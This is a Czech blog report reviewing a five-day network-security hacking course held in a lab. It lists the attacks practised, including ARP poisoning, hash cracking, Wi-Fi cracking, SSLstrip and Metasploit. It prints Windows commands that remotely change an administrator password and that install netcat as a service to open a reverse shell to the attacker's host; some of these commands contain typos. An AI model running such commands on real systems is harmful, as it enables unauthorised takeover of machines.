GOPAS: Network Security - Hacking v praxi (report z kurzu)

Zdroj: SOOM.cz [ISSN 1804-7270]
Autor: .cCuMiNn.
Datum: 22.2.2014
Hodnocení/Hlasovalo: 1.42/31

GOPAS jako největší česká počítačová škola nabízí mezi svými kurzi také několik školení, které jsou zaměřeny na praktický hacking. Pokud vás zajímá, jak to na těchto školení probíhá, pak zde pro vás mám report z právě absolvovaného kurzu Network Security - Hacking v praxi [GOC3].

Důvody, proč navšívit takto zaměřený kurz, mohou u každého z účastníků různé. Mezi návštěvníky najdete IT administrátory, kteří by se rádi přiučili praktikám útočníků, aby proti nim mohli lépe zabezpečit svou sít, přes opačně lazené osobnosti, kteří by se naopak chtěli přiučit hackerskému řemeslu k tomu, aby mohli účinněji škodit, až po ty, kterým jde třeba jen o nějaký ten certifikát, který by doplnil jejich životopis.

Pokud patříte do poslední ze zmíněných skupin, pak vězte, že certifikát, který získáte na tomto úvodním školení Network Security, má slovy lektora zhruba stejnou hodnotu jako vaše vysvětčení z kurzu plavání na základní škole. Přesto je ale toto školení dobrým startem, pokud plánujete v budoucnu navštívit také navazující kurzy Certified Ethical Hacker v8 [CEHv8], nebo EC-Council Certified Security Analyst [ECSA], jejich absolvováním získáte již mezinárodně uznávaná osvědčení.

Mnoho účastníků jistě odradí cena tohoto školení, která není nikterak nízká. Za tento úvodní pětidenní kurz budete nuceni zaplatit 20.000,-Kč a za následné rovněž pětidenní kurzy této série dokonce 56.000,-Kč. Značnou výhodu mohou získat ti, kterým toto školení zaplatí zaměstnavatel, potažmo Evropská unie v rámci projektu "Vzdělávejte se", jak tomu bylo i v mém přpadě.

Na rovinu musím říct, že Network Security - Hacking v praxi není určen začátečníkům, kteří se nejsou schopni hbitě pohybovat v operačním systému Windows 7, jenž je na kurzu převážně používán. Kurz totiž probíhá poměrně svižným tempem, a méně zdatný uživatel se tak může snadno ztratit. Nezanedbatelnou výhodou je tak jistě garance Gopasu, která absolventům umožňuje zopakovat si stejné školení ještě jednou zdarma, pokud usoudí, že mu některé věci unikly, nebo je nepochopil zcela správně.


Gopas

Pojďme se nyní podívat podrobněji na obsah jednotlivých výukových dnů, abyste si udělali představu o tom, co vás při případné návštěvě kurzu bude čekat.

Den první

Školení, na kterém se nás sešlo osm, začalo s pár minutovým zpožděním v pondělí v devět hodin ráno. Zmíněné zpoždění se pro lektora a autora kurzu, jímž byl William Ischanoe, ukázalo být téměř pravidlem, což by někomu možná mohlo trochu vadit. William je ovšem velmi zdatným lektorem, který svým řečnickým tempem dokáže rychle všechny ztráty dohonit.

Na začátku jsme se seznámili s programem ZoomIt, který nám byl doporučen jako nástroj, kterým je vhodné si pořizovat okomentované screenshoty, namísto ručního psaní poznámek do bloku, který pro nás byl Gopasem připraven, a který jsem si pro své záznamy zvolil já.

Následovalo seznámení se s nástrojem Oracle VirtualBox sloužícím pro spuštění virtuálů, s architekturou vnitřní sítě Gopasu, na které jsme se pohybovali a s obsahem disku, který pro nás byl na nově nainstalovaných počítačích přichystán. Slajdy, různé doprovodné návody a používané nástroje nám bylo povoleno si odnést na flashce pro vlastí použití domů, takže studenti nemusí následně stahovat vše z různých zákoutí Internetu a nemusí je během školení ani potajmu s černým svědomím kopírovat, coj je určitě veliké plus.

Ta zajímavější část prvního dne začala ukázkou smazání protokolu událostí prostřednictvím služby spouštěné pod systémovým účtem. Následně jsme začali pronikat do tajů práce s příkazovou řádkou a několika jejími příkazy, jako třeba for pro cykly nebo start, který jsme používali pro spouštění příkazů ve více vláknech.

Pokračovali jsme seznámením se s registry Windows, hlavně s klíčem \HKLM\System\Services, ve kterém jsou uloženy informace o spouštěných službách. Vyzkoušeli jsme si, jak změnou některých hodnot spustit libovolnou binárku nebo příkaz a přidat tak mezi uživatele systému nový záznam. Následně jsme se zabývali připojením offline registrů z Windows PE při jejich nabootování z přenosného média a způsoby, jak touto cestou ovlivnit registry ostrého systému, který je uložen na disku.

Další část dne jsme věnovali vzdáleným registrům, kdy jsme si pozměňovali nebo přidávali obsah v registrech vzájemně po síti příkazem reg add a blíže jsme se seznámili s příkazem sc, respektive se službami a jejich spouštěním, jak na lokálu, tak i na ostatních síťových počítačích. Bylo nám ukázáno, jak používat nástroj Srvany.exe ke spuštění libovolné binárky jako služby a vysvětleno, proč bez tohoto nástroje není možné spouštět cokoliv jako služby přímo.

Práce s těmito nástroji v příkazové řádce byla skutečně zajímavá a z jedné strany je škoda, že je k ovládání vzdálených registrů a služeb nutné mít na vzdáleném počítači administrátorská práva. Užili jsme si s nimi totiž spousty legrace.

Ukázka, jak na vzdáleném počítači vytvořit novou službu, která poběží pod systémovým účtem a je schopna změnit heslo administrátora, může vypadat například takto:


sc \\10.102.20.100 create passSvc binPtah= srvany.exe
reg add \\10.102.20.100\HKLM\System\ControlSet001\Services\passSvc\Parameters /v application /d "cmd.exe net user administrator newpass"
sc \\10.102.20.100 start passSvc


Ke konci dne jsme se ještě zevrubně seznámili s protokolem TCP/IP a s nástroji ping, tracert nebo netstat. Začali jsme také pracovat s programem Wireshark sloužím pro zachytávání a anylýzu síťového trafiku.

První den byl opravdu hodně nabitý a kromě dvou kratších na kafe a jedné hodinové přestávky na oběd, jsme pilně pracovali až do půl páté.

Den druhý

Druhý den byl věnován odposlouchávání na síti. Navázali jsme ale nejprve na předchozí den a obeznámili se s nástrojem NetCat, který jsme používali jednak jako klienta, ale také jako server. Tento nástroj jsme použili rovněž pro kopírování souborů mezi dvěma počítači, nebo k získání vzdálené příkazové řádky. Díky znalostem z předchozího dne jsme spustili NC na vzdáleném počítači jako systémovou službu umožňující ovládnání cílového systému.


nc -L -p 80 
sc \\10.102.20.100 create ncSvc binPtah= srvany.exe
reg add \\10.102.20.100\HKLM\System\ControlSet001\Services\ncSvc\Parameters /v application /d "nc.exe 10.102.20.99 80 -E cmd.exe"
sc \\10.102.20.100 start ncSvc



arp -d
for /L %i in do @start /min cmd /c ping -n 1 10.102.20.%i > NUL
arp -a


Následně jsme se seznámili s teorií skenování portů a s nástrojem Nmap. Mnohem zábavnější část dne pak zabraly útoky ARP poisoning, kdy jsme po nezbytné teoretické přípravě otravovali s použitím známého nástroje Cain&Abel ARP tabulku routeru a ostatních účastníků kurzu. Dostali jsme se tak do pozice MITM a mohli odposlouchávat všechna hesla, která účastníci přenášeli po síti. Vedle windowsového Caina jsme ve virtuálu nabootovali také BackTrack, kde jsme si vyzkoušeli ARP poisoning z prostředí příkazové řádky příkazem arpspoof.

Den třetí

Třetí den opět začal rychlou rekapitulací znalostí nabytých předchozího dne, která plynule přešla k detekci útoků ARP poisoning. Vedle jednoduchého IDS nástroje DecaffeinatID jsme si zkusili odhalit aktivní útok rovněž jednoduchým skriptem, kdy jsme si ve dvou příkazových řádkách spustili tyto sekvence příkazů:


for /L %i in(0,0,1) do @arp -d & @ping n -1 -w 100 8.8.8.8

for /L %i in(0,0,1) do @arp -a | findstr 10.120.0.1 | findstr -v 10:10:10:66:66:66


kdy první z uvedených smyček pravidelně čistila ARP tabulku a zároveň vysílala pingy směrem ke Googlu, aby si počítač do ARP tabulky načetl nové údaje o routeru. Cyklus běžící ve druhém okně pak kontroloval, zda IP adresa záznamu routeru v APR tabulce stále odpovídá stejné MAC adrese. Ve chvíli, kdy se MAC adresa byť jen na malou chvíli změnila, rychle jsme se to tímto způsobem dozvěděli.

GopasKdyž už jsme byli v ARP poisoningu jako doma, přešli jsme na zachytávání LM a NT hashů, které putují sítěmi vždy, když se uživatel Windows snaží přistoupit k obsahu jiného počítače. Opět jsme k odchytu použili všestranný nástroj Cain&Abel, pomocí kterého jsme během ARP routingu zachytili patřičné hashe a následně je brutte force útokem lámali. U LM hashů bylo prolomení otázkou maximálně několika minut. U NT hashů již čas závisel na síle použitého hesla. V teoretické části jsme si tak vysvětlili závislosti mezi délkou hesla, použitou množinou znaků a časem, který je pro prolomení hesla potřebný.

Hashe jsme ale nezachytávali pouze na síti. Vyzkoušeli jsme si také, jak je snadné vytáhnout uložené hashe z registrů Windows, pokud se nám podaří alespoň na chvíli získat k počítači fyzický přístup s administrátorskými právy, nebo jak vytáhnout tyto hashe z registrů Windows ve chvíli, kdy můžeme nabootovat z vyměnitelného média.

Ke konci dne jsme si ještě ukázali paralelní crackování hesel pomocí nástroje EDPR od ElcomSoftu a řekli si pár informací o crackování hesel pomocí grafických karet. Závěr patřil demonstraci prolomení hashů pomocí Rainbow tables.

Během třetího dne jsme od Gopasu dostali sedmé vydání knihy Hacking Exposed 7: Network Security Secrets & Solutions (bohužel v anglickém jazyce).

Den čtvrtý

Den začal podle očekávání přesně tam, kde předchozí den skončil - tedy u Rainbow tables. Řekli jsme si pro mě celkem zajímavou teorii, jak jsou tyto tabulky tvořeny a ukládány, aby zabíraly co nejmenší místo na disku. Ve starém známém Cainovi jsme si pak ukázali, jak je možné takovou tabulku vygenerovat, a jak jednotlivé volby ovlivňují buďto výslednou velikost souboru, nebo čas potřebný k prolomení hashe.

Povídání o heslech a hashích jsme uzavřeli upozorněním a praktickou ukázkou softwarového a hardwarového keyloggeru, které útočníkům hesla dodají na stříbrném podnosu. Konkrétně jsme si vyzkoušeli činnost programu Stealth Keylogger

Po té, co jsme uzavřeli téma hesel, zaměřili jsme se na Wi-Fi sítě. Opět nám byla řečena nejnutnější teorie o tom, jak Wi-Fi sítě fungují a jak spolu na těchto sítích komunikují jednotlivá zařízení. Ve Windows jsme se pak nástrojem InSSIDer Office podívali, jaké bezdrátové sítě se nachází v našem prostředí a jak jsou rozvrženy v jednotlivých kanálech. Podívali jsme se také na simulátor nastavení Acess Pointu TP-Link, který posloužil pro demonstraci nastavení některých pro nás důležitých voleb.

Řekli jsme si o rozdílech mezi managed, monitor, injection a promiscuous módech síťové karty a o tom, jak je těžké nastavit Wi-Fi kartu do monitor módu ve Windows. Opět jsme proto pro účely praktických ukázek nabootovali do BackTracku, kde jsme si přepnuli kartu do monitor módu bez jakýchkoliv problémů a seznámili se s linuxovými nástroji Airodump-ng, Aireplay-ng a Aircrack-ng.

GopasNásledovala praktická cvičení, jak se dostat na sítě chráněné pouze MAC filteringem, WEP zabezpečením nebo pomocí WPA. U WEPky jsme si vystačili s jednoduchým brute force útokem, který heslo prolomil během chvíle, naproti tomu u WPA se silným heslem bylo zřejmé, že se hrubou silou nikam nedostaneme a tak jsme si nástrojem Cupp v BackTracku vygenerovali individuální slovník na základě informací, které jsme o provozovateli sítě zjistili. S tímto slovníkem bylo pak prolomení WPA opět otázkou několika minut. Následovala informace o tom, jak nastavit zjištěný klíč ve Wiresharku, aby bylo možné s jeho pomocí dekódovat zachycenou komunikaci.

V další části dne jsme se zabývali vlastnostmi Access Pointů, které mohou sloužit jako dobrý backdoor. Řekli jsme si o Wi-Fi Protected Setup (WPS) a o možnostech jeho prolamování nástrojem Reaver, nebo o síti VoIP, kterou některé Access Pointy vyzařují.


Den pátý

Poslední den jsme začali ukázkou linuxového nástroje Gerix, který slouží jako grafická alternativa k příkazům pro prolamování Wi-Fi sítí, o kterých jsme si povídali předchozího dne. U Wi-Fi jsme ale ještě chvíli zůstali a řekli si o přebíjení signálu a přetahování klientů na své vlastní AP.

Velká část pátého dne byla ale věnována šifrování a SSL. Po informacích o tom jak fungují elekronické podpisy, klíče a ověřování důvěryhodnosti domény, jsme se pomocí Caina snažili podstrčit do komunikace neplatné certifikáty ostatním účastníkům. Pokračovali jsem ukázkou naimportování nedůvěryhodné certifikační autority na počítačích a skončili u nástroje SSLstrip, který slouží jako proxy, jenž v komunikaci směrem ke klientům nahrazuje použitý protokol z šifrovaného na nezabezpečený.

V závěru jsme se zaměřili na exploitaci systémů. Proskenovali jsme cílový stroj Nmapem a pomocí Metasploitu jej ovládli skrz nalezenou zranitelnost. Pokračovali jsme informacemi o skrývání dat v Alternate Data Stream (ADS) a ukázali si skrývání procesů pomocí rootkitu HXDEF100.

Zhruba v půl čtvrté nám lektor ještě rozdal osvědčení o absolvování kurzu, rozloučili jsme se a zamířili ke svým domovům.

Závěrem

I když jsem se s většinou z představovaných praktik již setkal, nebo o nich na stránkách tohoto serveru dokonce psal, nikdy jsem nešel to takové hloubky a komplexnosti jako náš lektor William. Bylo proto velmi příjemné slyšet to takto pěkně uceleně a případně se moci zeptat na věci, které William dokázal vždy pohotově zodpovědět. Možná je trochu škoda, že v kurzu chyběla jakákoliv zmínka o webhackingu, nebo alespoň o webových exploit kitech, ale tomu se jistě alespoň v základní míře věnuje navazující kurz CEHv8.

Kurz díky svému širokému záběru a praktičnosti tak nemusí být určen jen těm, kteří se se světem hackingu teprve seznamují, nebo těm, kteří o něm ještě nikdy neslyšeli, ale skutečně i těm, kteří se v průběhu let s uvedenými praktikami již setkali, ale rádi si je během jediného týdne pěkně v kostce připomenou. Pokud jste tedy někde narazili na reklamu zvoucí na tento kurz, ale nevěděli jste, zda by pro vás byl vhodný, snad vám tento report jeho obsah alespoň trochu přiblížil a vaše představy o něm se tak ujasnily.

Co mě mimochodem velmi potěšilo, byla odpověď Williama na dotaz jednoho z účastníků, který si přál doporučit nějaký web, kde by se o hackingu dozvěděl více. William na prvním místě zmínil SOOM.cz, čímž si zasloužil mé díky :)